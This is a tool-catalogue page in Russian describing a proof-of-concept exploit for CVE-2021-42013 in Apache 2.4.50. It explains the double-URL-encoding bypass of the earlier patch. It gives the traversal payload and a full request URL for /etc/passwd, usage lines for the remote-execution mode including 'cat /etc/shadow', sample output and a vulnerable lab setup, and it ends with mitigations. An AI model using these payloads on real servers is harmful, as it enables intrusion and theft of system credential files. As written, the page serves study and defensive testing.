Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-42013 — Концептуальный эксплойт для CVE-2021-42013, демонстрирующий обход пути и удаленное выполнение кода на Apache 2.4.50 через двойное кодирование URL в обход патча для CVE-2021-41773. | Kitploit
Инструменты/GitHubGitHub/joapath/cve-2021-42013
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubjoapath/cve-2021-42013

CVE-2021-42013

Концептуальный эксплойт для CVE-2021-42013, демонстрирующий обход пути и удаленное выполнение кода на Apache 2.4.50 через двойное кодирование URL в обход патча для CVE-2021-41773.

Репозиторий
22 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-42013 — PoC: Path Traversal + RCE через mod_cgi (обход патча)

Только для использования в контролируемых и собственных средах. Не использовать против систем без авторизации.


Описание

PoC разработана для демонстрации CVE-2021-42013, присутствующего в Apache HTTP Server 2.4.50.

Этот CVE является обходом патча, который Apache выпустил для CVE-2021-41773. Версия 2.4.50 попыталась исправить предыдущий обход пути, добавив проверку, которая отклоняла последовательности .%2e и %2e.. Однако эта проверка была недостаточной: она не учитывала, что тот же результат может быть достигнут с помощью двойного URL-кодирования, оставляя ту же поверхность атаки открытой.


Связь с CVE-2021-41773

CVE-2021-41773CVE-2021-42013
Затронутая версияApache 2.4.49Apache 2.4.50
Используемое кодирование.%2e/%%32%65%%32%65/
МеханизмОдиночное кодированиеДвойное кодирование (обход патча)
Возможность RCEДа (с mod_cgi)Да (с mod_cgi)
Исправленная версия2.4.50 (неполный патч)2.4.51

Почему патч 2.4.50 провалился

Патч Apache 2.4.50 добавил проверку в ap_normalize_path(), которая буквально искала последовательности .%2e и %2e. в пути запроса. Если они находились, запрос отклонялся с кодом 400 или 403.

Проблема: эта проверка выполнялась над строкой до второго прохода декодирования URL. Если полезная нагрузка была дважды закодирована, проверка не находила запрещенную последовательность, потому что она еще не была декодирована — и когда она наконец декодировалась для разрешения пути файловой системы, ../ уже присутствовал, и обход происходил.

root@kitploit:~
Payload:          %%32%65%%32%65/
Validación 2.4.50 busca: .%2e → NO ENCUENTRA → deja pasar
Primera decodificación:   %%32%65%%32%65/ → %2e%2e/
Segunda decodificación:   %2e%2e/         → ../
Resultado:        traversal exitoso

Настоящее исправление пришло в 2.4.51, где Apache переписал логику нормализации, чтобы полностью разрешить путь перед применением любых проверок безопасности.


Двойное кодирование — как это работает

%%32%65 — это дважды закодированное представление .:

root@kitploit:~
.  →  %2e  (encoding estándar)
%  →  %25  (encoding del símbolo %)
2  →  %32  (encoding del carácter '2')
e  →  %65  (encoding del carácter 'e')

Таким образом, %2e с его закодированным % и закодированными шестнадцатеричными символами превращается в %%32%65.

Первое декодирование %%32%65 даёт %2e. Второе даёт ..


Необходимые условия

УсловиеПодробности
Версия ApacheТочно 2.4.50
Директива доступаRequire all granted в открытом каталоге
Модуль CGImod_cgi включен (только для RCE)

Тестовая среда

root@kitploit:~
# Imagen de Apache 2.4.50 con configuración vulnerable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013

Или вручную с Apache 2.4.50 и этой конфигурацией в httpd.conf:

root@kitploit:~
LoadModule cgi_module modules/mod_cgi.so

<Directory />
    Require all granted
</Directory>

<Directory "/var/www/cgi-bin">
    Options +ExecCGI
    AddHandler cgi-script .cgi .pl .sh
    Require all granted
</Directory>

Alias /traversal /var/www/html

Использование скрипта

root@kitploit:~
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <comando>]

Аргументы

АргументОбязательныйОписание
--targetДаБазовый URL сервера (напр.: http://localhost:8080)
--modeДаtraversal для чтения файлов, rce для выполнения команд
--cmdНетКоманда для выполнения в режиме rce (по умолчанию: id)

Примеры

root@kitploit:~
# Leer /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal

# Ejecutar id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id

# Comando con espacios
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"

Ожидаемый вывод — режим traversal

root@kitploit:~
============================================================
  CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
  Bypass del parche de CVE-2021-41773 via doble encoding
  PoC con fines educativos — Solo en entornos propios
============================================================

[+] Modo: Path Traversal (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Encoding: %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construida: http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Enviando request...

[+] Servidor vulnerable! Status code: 200
[+] Confirmado: Apache 2.4.50 con parche incompleto
=== Contenido de /etc/passwd:

root:x:0:0:root:/root:/bin/bash
...

Ожидаемый вывод — режим rce

root@kitploit:~
[+] Modo: RCE via mod_cgi (doble encoding — bypass CVE-2021-41773 patch)
[+] Objetivo: http://localhost:8080
[+] Comando: id
[+] RCE confirmado! (Apache 2.4.50 — parche incompleto)

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Меры по смягчению

  • Обновить Apache до версии 2.4.51 или выше.
  • Оставить Require all denied в качестве значения по умолчанию.
  • Отключить mod_cgi, если он не нужен.
  • Никогда не доверять, что патч полный, не проверив его: анализ diff между 2.4.50 и 2.4.51 показывает, что для реального исправления потребовалось переписать всю логику нормализации.

Ссылки

  • NVD — CVE-2021-42013
  • Apache HTTP Server — Security Advisories
  • Qualys — Анализ CVE-2021-41773 и CVE-2021-42013

PoC разработана в образовательных целях для портфолио по атакующей безопасности.

Скачать инструмент